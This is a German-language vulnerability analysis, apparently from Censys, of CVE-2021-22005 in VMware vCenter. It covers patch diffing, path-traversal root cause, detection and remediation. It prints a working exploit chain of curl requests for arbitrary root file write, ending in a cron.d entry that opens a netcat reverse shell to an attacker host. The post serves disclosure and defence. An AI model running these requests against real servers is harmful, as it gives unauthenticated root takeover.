Aktualisierung 2 (2021-09-28)
@wvuuuuuuuuuuuuu hat offengelegt, wie man die Ausführung über diesen API-Endpunkt erreichen kann. Die Methode erfordert lediglich das Schreiben in /etc/cron.d. Sowohl der /dataapp als auch der /hyper/send handler RCE PoC sind nun vollständig öffentlich.
Update 1 (2021-09-23, kurz nach Veröffentlichung)
@testanull auf Twitter behauptet, dass CEIP keine Voraussetzung für die Ausführung ist, was bedeutet, dass es mehrere Schwachstellen (Schwachstellen/unabhängige Korrekturen) gibt, die Teil von CVE-2021-22005 sind.
Übersicht
Am 21. September kündigte VMware im Rahmen von VMSA-2021-0020 eine neue CVSS 9.8-Schwachstelle (CVE-2021-22005) an. Dabei handelt es sich um eine kritische, nicht authentifizierte Remote-Ausführungsschwachstelle im Analysedienst von vCenter, die Administratoren sofort patchen sollten.
Hinweis: Dieser Beitrag wurde am 28.09.2021 aktualisiert und enthält nun Details, die zur Remotecodeausführung führen, nachdem die öffentliche Verfügbarkeit eines Exploits, der zur Ausführung führt, für beide von CVE-2021-22005 betroffenen API-Endpunkte veröffentlicht wurde. Zuvor hatten wir diese Details nicht aufgeführt, um Praktikern mehr Zeit für den Patch zu geben.
Die wichtigsten Fakten:
- Mehrere Unternehmen scheinen nach anfälligen Instanzen zu suchen, indem sie die von VMware bereitgestellte Umgehung nutzen.
- Die Hauptursache liegt in der falschen Handhabung von vom Benutzer eingegebenen Anfrageparametern im Analysedienst CEIP (Customer Experience Improvement Program) von VMware vCenter. CEIP ist standardmäßig "opt-out".
- VMware vCenter Versionen 6.7 und 7.0 sind betroffen.
- Linux-basierte Implementierungen können nachweislich zur Code-Ausführung genutzt werden, Windows-basierte Hosts sind wahrscheinlich ausnutzbar (wobei die Ausführung schwieriger ist).
- Für die Ausnutzung sind zwei nicht authentifizierte Webanfragen erforderlich.
- Mit einer einfachen Suchabfrage stellte Censys fest, dass etwas mehr als 7.000 Dienste im öffentlichen Internet als VMWare vCenter identifiziert werden. 3.264 Hosts, die mit dem Internet verbunden sind, sind potenziell anfällig, 436 sind gepatcht und 1.369 sind entweder nicht anwendbar (nicht betroffene Version) oder haben einen Workaround angewendet.
Der Standort aller VMware vCenter-Hosts, die über das Internet zugänglich sind
Technische Analyse
Eine CVSS-Schwachstelle der Stufe 9.8 bedeutet im Allgemeinen eine Remote-Ausführung mit geringer Komplexität, wie diese Visualisierung aus dem CVSSv3-Rechner von first.org zeigt:
Wie sich herausstellte, veröffentlichte VMware selbst einen bedeutenden "Vorsprung" bei der Ausnutzung durch ihren Workaround, der in der Workaround-KB für CVE-2021-22005 dokumentiert ist:
14) Um zu überprüfen, ob die Umgehung wirksam ist, können Sie den folgenden Befehl ausführen
curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" -v 2>&1 | grep HTTP
Dies sagt uns, dass der spezifische API-Endpunkt, der anfällig ist, folgender ist /analytics/telemetry/ph/api/hyper/send
. Es ist wichtig zu beachten, dass der obige Service-Port (15080) der interne Port des Analysedienstes ist, obwohl der vCenter-Web-Port (443) Anfragen an diesen Dienst direkt weiterleitet. Sie können die gleiche Anfrage einfach an den https-Endpunkt senden, um die Ausführung zu erreichen. Mit diesem Tipp von VMware können wir nun analysieren, was behoben wurde.
Entdeckung der Grundursache
Um die Unterschiede zwischen einer verwundbaren und einer nicht verwundbaren Version der Software zu sehen, haben wir zwei ISOs von der VMWare-Website heruntergeladen. Laut der Workaround-KB wurde die gepatchte Version von VMWare in der Version 18356314 (7.0U2c) veröffentlicht. Also wurden die folgenden zwei ISOs heruntergeladen:
- Anfällige Version: v17958471(7.0U2b) vom 25. Mai 2021
- Gepatchte Version: v18455184(7.0U2d) vom 21. September 2021
Diese ISO-Dateien enthalten eine Vielzahl von Bibliotheksdateien. Um den Leser nicht zu langweilen, überspringen wir dies und stellen fest, dass die gepatchten Dateien, die von Interesse sind, in den RPM-Dateien für den VMware-Analysedienst enthalten sind:
- VMware-analytics-7.0.2.00400-9102561.x86_64.rpm (gepatcht, RPM stammt von 18455184)
- VMware-analytics-7.0.2.00000-8630354.x86_64.rpm (ungepatcht, RPM stammt von 17958471)
Mit diesen Daten können wir den Inhalt der RPM extrahieren:
rpm2cpio <RPMFILE> | cpio -idmv
Dadurch wird eine Dateisystemstruktur im aktuellen Verzeichnis erzeugt:
$ ls
etc usr var
$ find etc
etc
etc/vmware
etc/vmware/appliance
etc/vmware/appliance/firewall
etc/vmware/appliance/firewall/vmware-analytics
etc/vmware/vm-support
etc/vmware/vm-support/analytics-noarch.mfx
etc/vmware/backup
etc/vmware/backup/manifests
etc/vmware/backup/manifests/analytics.json
...
$ find usr
find usr
usr
usr/lib
usr/lib/vmware-analytics
usr/lib/vmware-analytics/lib
usr/lib/vmware-analytics/lib/dataapp.txt
usr/lib/vmware-analytics/lib/vimVersions-7.0.2.jar
usr/lib/vmware-analytics/lib/cls-vmodl2-bindings-7.0.2.jar
usr/lib/vmware-analytics/lib/jcabi-log-0.17.jar
usr/lib/vmware-analytics/lib/analytics-push-telemetry-vcenter-7.0.2.jar
usr/lib/vmware-analytics/lib/analytics-common-vapi-7.0.2.jar
...
Jetzt können wir den Inhalt der Klassendateien mit unzip nach /tmp extrahieren und gepatchte und ungepatchte Versionen vergleichen, indem wir nach Verweisen auf "hyper" suchen:
grep -lr hyper /tmp/unpatched/
/tmp/unpatched/com/vmware/vim/binding/vim/host/CpuSchedulerSystem.class
/tmp/unpatched/com/vmware/vim/binding/vim/host/ConfigInfo.class
/tmp/unpatched/com/vmware/vim/binding/vim/vm/device/VirtualVMCIDevice$Protocol.class
/tmp/unpatched/com/vmware/analytics/vapi/TelemetryDefinitions.class
/tmp/unpatched/com/vmware/ph/upload/rest/PhRestClientImpl.class
/tmp/unpatched/com/vmware/ph/phservice/push/telemetry/server/AsyncTelemetryController.class
/tmp/unpatched/com/vmware/ph/phservice/common/ph/RtsUriFactory.class
Erfahrungen in der Entwicklung (insbesondere mit Java und Spring) sind hier sehr hilfreich, da API-Endpunkte in MVC-Architekturen (Model-View-Controller) in der Regel von Controllern verwaltet werden. Die interessanteste Klasse, die wir hier sehen können, ist AsyncTelemetryController
. Die Differenzierung der Ausgabe des CFR Decompiler auf den Java-Klassendateien konnten wir feststellen, dass die folgende Funktion von geändert wurde:
private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
final TelemetryRequest telemetryRequest = AsyncTelemetryController.createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
return new Callable<ResponseEntity<Void>>(){
@Override
public ResponseEntity<Void> call() throws Exception {
if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) {
return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
}
telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[]{telemetryRequest});
return new ResponseEntity(HttpStatus.CREATED);
}
};
}
Zu den folgenden:
private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
final TelemetryRequest telemetryRequest = AsyncTelemetryController.createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
return new Callable<ResponseEntity<Void>>(){
@Override
public ResponseEntity<Void> call() throws Exception {
if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) {
return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
}
if (!IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId) || !AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId)) {
_log.debug((Object)String.format("Incorrect collectorId '%s' or collectorInstanceId '%s'. Returning 400.", LogUtil.sanitiseForLog(collectorId), LogUtil.sanitiseForLog(collectorInstanceId)));
return new ResponseEntity(HttpStatus.BAD_REQUEST);
}
telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[]{telemetryRequest});
return new ResponseEntity(HttpStatus.CREATED);
}
};
}
Diese Funktion wird ausgeführt, wenn eine HTTP-POST-Anfrage an eine der folgenden Stellen gesendet wird /ph-stg/api/hyper/send
oder /ph/api/hyper/send
. Zusätzlich zu den Original Ratenbegrenzungsprüfung (isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)
), können wir zwei neue Bedingungen sehen:
!IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId)
- Eine einfache Regex-basierte Prüfung (
[\w-]
), um sicherzustellen, dass das Format der collector-instance-id (der Abfrageparameter _i) gültig ist und keine ungültigen Zeichen enthält.
!AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId)
- Vergewissern Sie sich, dass die eingehende Collector-Id in der
collectorIdWhitelist
Array.
Zur Vorbereitung der neuen collectorIdWhitelist
Array wurde die folgende neue Eigenschaft hinzugefügt /etc/vmware-analytics/phservice.properties
:
ph.collectorId.whitelist=vsphere.wcp.tp_1_0_0, SVC.1_0, SVC.1_0_U1, vsphere.gcm.1_0_0, vCSA.7_0, \
vCSA.7_0_1, vc_vcls.7_0_U2, vc_vlcm_dnp_7.0, vvts.7_0, vSphere.vapi.6_7, vSphere.vpxd.vmprov.6_7, \
vcenter-all.vpxd.drs.7_0u1, vcenter-all.vpxd.hdcs.7_0u2, h5c.6_8, vcenter_postgres, \
vc_lcm_api_stage2.6_7, vCSACLI.7_0_2, multisddc.1, hlm, hlm_gateway, vlcm.7_0_2, vlcm.7_0_3, testPush.1_0
Untersuchung der Ausbeutung
Das Verständnis der neuen Bedingungen in AsyncTelemetryController macht die Entwicklung von Sicherheitslücken trivial. Sie fordern den nicht authentifizierten Analysedienst von VMware (der Telemetriedaten von anderen Komponenten von vCenter sammelt, um sie an die VMware-Cloud zu melden) auf, eine Datei auf der Festplatte in einem von Ihnen gewählten Pfad zu speichern. Wenn Daten an den Telemetriedienst gesendet werden, werden sie zunächst in eine Protokolldatei mit log4j2
entweder in die /var/log/vmware/analytics/stage
(bei Verwendung des /ph-stg
Endpunkt), oder /var/log/vmware/analytics/prod
(bei Verwendung des /ph
Endpunkt).
Wie der Dateiname generiert wird, können wir in der Klasse LogTelemetryService sehen:
@Override
public Future<Boolean> processTelemetry(String collectorId, String collectorInstanceId, TelemetryRequest[] telemetryRequests) {
ThreadContext.put((String)CTX_LOG_TELEMETRY_DIR_PATH, (String)this._logDirPath.normalize().toString());
ThreadContext.put((String)CTX_LOG_TELEMETRY_FILE_NAME, (String)LogTelemetryUtil.getLogFileNamePattern(collectorId, collectorInstanceId));
for (TelemetryRequest telemetryRequest : telemetryRequests) {
this._logger.info(LogTelemetryService.serializeToLogMessage(telemetryRequest));
}
return new ResultFuture<Boolean>(Boolean.TRUE);
}
Der Aufruf zur Serialisierung in processTelemetry
ist für eine sekundäre Ausnutzung uninteressant (d. h. keine Möglichkeit der Codeausführung mithilfe von Deserialisierungs-Gadgets), da einfach der Inhalt des POST-Bodys, der in der Anfrage erfasst wird, direkt in die Datei geschrieben wird.
Der Benutzer kontrolliert jedoch den Dateinamen, den log4j2 letztendlich zum Schreiben der Datei verwendet. Daher müssen sorgfältig ausgearbeitete Werte in unserer _i
Argument kann dazu führen, dass Dateien in einen beliebigen Pfad auf der Festplatte geschrieben werden. In unseren Tests, CEIP (Customer Experience Improvement Program) muss aktiviert sein, damit dieser Exploit funktioniertDer Telemetriecode prüft den Anmeldestatus des CEIP-Dienstes und schlägt fehl, wenn dieser deaktiviert ist.
Der Exploit benötigt ohne weiteres zwei Stufen:
Zunächst muss der Telemetrie-"Kollektor" erstellt werden, indem /
als Präfix zu _i
um ein Verzeichnis zu erstellen unter /var/log/vmware/analytics/prod
(Erstellen einer zufällig benannten Datei wie /var/log/vmware/analytics/prod/_c_i/1234.json
):
curl -kv "https://$VCENTER_HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/$RANDOM" -H Content-Type: -d ""
Dabei erstellt der Server ein Verzeichnis unter /var/log/vmware/analytics/prod/
mit dem Format, das in getLogFileNamePattern
. Zum Beispiel, _c=&_i=/stuff
wird sich dazu entschließen: /var/log/vmware/analytics/prod/_c_i/stuff.json
, und wenn die _c_i/
Unterverzeichnis existiert nicht innerhalb von /var/log/vmware/analytics/prod/
wird sie zu diesem Zeitpunkt erstellt.
Dann senden wir die Nutzlast, die eine beliebige json-Datei irgendwo im Dateisystem als Root-Benutzer schreibt. Alle übergeordneten Verzeichnisse im Pfad werden ebenfalls erstellt, wenn sie nicht existieren.
curl -kv "https://$VCENTER_HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../tmp/foo" -H Content-Type: -d 'contents here will be directly written to /tmp/foo.json as root'
Im Beispiel unserer ersten Anfrage sieht der Server dies so: /var/log/vmware/analytics/prod/_c_i/../../../../../../tmp/foo.json
wo der Inhalt der Anfrage geschrieben wird. Der Inhalt des Anfragekörpers (gekennzeichnet durch -d) wird direkt in die Datei geschrieben, so wie er ist (es ist nicht erforderlich, dass der Inhalt selbst JSON ist).
Sobald die Datei geschrieben wurde, besteht der letzte Schritt darin, einen externen Mechanismus zu finden, der die in der Datei enthaltenen Daten ausführen kann. Dies ist nicht schwierig, da es in Linux-basierten Betriebssystemen sehr bekannte Stellen gibt, die eine Datei mit beliebiger Erweiterung lesen und ihren Inhalt ausführen können. Censys hat die Ausführung bestätigt, wird diesen letzten Schritt aber nicht veröffentlichen, um den Verteidigern etwas mehr Zeit zum Patchen zu geben. Kredit an wvu von Rapid7 zur Mitentdeckung der Details zu diesem Thema.
Update (2021-09-28): Da ein Pfad zu RCE auf Twitter vollständig offengelegt wurde, haben wir beschlossen, diesen Beitrag mit diesen Anweisungen zu aktualisieren. Die Ausführung als root kann durch Schreiben in die crontab (/etc/cron.d) erreicht werden:
curl -kv "https://$VCENTER_HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh $RHOST $RPORT"
Erkennen von Schwachstellen
Der Workaround von VMware erwähnt eine cURL-Anfrage (auch in ihrem Python Mitigation Script), die gesendet werden kann, um zu ermitteln, welche Hosts anfällig sind:
curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" -v 2>&1 | grep HTTP
Allerdings wird bei dieser Anfrage eine Datei im Verzeichnis analytics/prod log erstellt. Außerdem stellt dieser Endpunkt nicht fest, ob CEIP aktiviert ist. Wenn CEIP deaktiviert ist, brachen in unseren Tests die anfälligen Codepfade ab (mit einem 201/Created). Wir vermuten, dass die Deaktivierung von CEIP nach seiner Aktivierung die Schwachstelle möglicherweise nicht vollständig beseitigt, da der VMware-Analytics-Code Caching-Mechanismen enthält, die möglicherweise nicht gelöscht werden.
Eine relevantere cURL-Anfrage kann an den Endpunkt /analytics/telemetry/ph/api/level gerichtet werden, der keine Datei erstellt:
curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
- Wenn der Server mit einem 200/OK und etwas anderem als "OFF" im Antwortkörper antwortet (z. B. "FULL"), ist er angreifbar.
- Wenn sie mit 200/OK und einem Body-Inhalt von "OFF" antwortet, ist sie wahrscheinlich nicht verwundbar und auch nicht gepatcht, wenn keine Abhilfe geschaffen wird.
- Wenn sie mit 400/Bad Request antwortet, wird sie gepatcht. Diese Prüfung nutzt die Tatsache, dass gepatchte Instanzen die collectorId (_c) mit einer Liste bekannter/akzeptierter collector-IDs abgleichen.
- Wenn sie mit 404 antwortet, trifft sie entweder nicht zu oder die Umgehung wurde angewendet. Die Abhilfemaßnahme deaktiviert die betroffenen API-Endpunkte.
- Jeder andere Statuscode bedeutet wahrscheinlich, dass er nicht anwendbar ist.
Erkennen von Anzeichen einer Gefährdung
Die Identifizierung von Kompromissen ist einfach. Suchen Sie nach Verzeichnissen, die unter dem Namen /var/log/vmware/analytics/prod
oder /var/log/vmware/analytics/stage
Verzeichnisse. Wenn es dort Unterverzeichnisse gibt, ist es wahrscheinlich, dass ein Akteur einen Exploit gegen Ihren Host ausgeführt hat. Suchen Sie außerdem nach .json oder .properties Dateien in /etc/cron.d (oder rc.local). Dies setzt voraus, dass der Akteur seine Aktionen nicht bereinigt hat, indem er die Dateien/Verzeichnisse nach der Ausführung entfernt hat.
Was soll ich jetzt tun?
Diese Sicherheitslücke ist, wie das "updateova"-Problem vor einigen Monaten, ziemlich kritisch. Unternehmen sollten ihre vCenter-Instanzen so schnell wie möglich patchen. Der Patch scheint das Problem erfolgreich zu beheben.
- Prüfen Sie mit einer einfachen cURL-Anfrage, ob Sie betroffen sind. Eine 200/OK-Antwort mit etwas anderem als "OFF" im Antwortkörper deutet auf eine Verwundbarkeit hin (dies bedeutet, dass CEIP aktiviert ist und die Umgehungslösung/der Patch wurde nicht angewendet):
curl -k -v “https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test”
- Unternehmen sollten die Patches für ihre vCenter-Version anwenden, die in der VMware-Anleitung VMSA-2021-0020 beschrieben sind: https://www.vmware.com/security/advisories/VMSA-2021-0020.html.
- Censys Kunden können ihr Host-Inventar in unserer Attack Surface Management-Plattform nutzen, um Hosts mit Internetanschluss automatisch zu identifizieren, oder Censys Search , um vCenter in bekannten IP-Bereichen zu finden, basierend auf CPE(services.software.uniform_resource_identifier: `cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*:*`)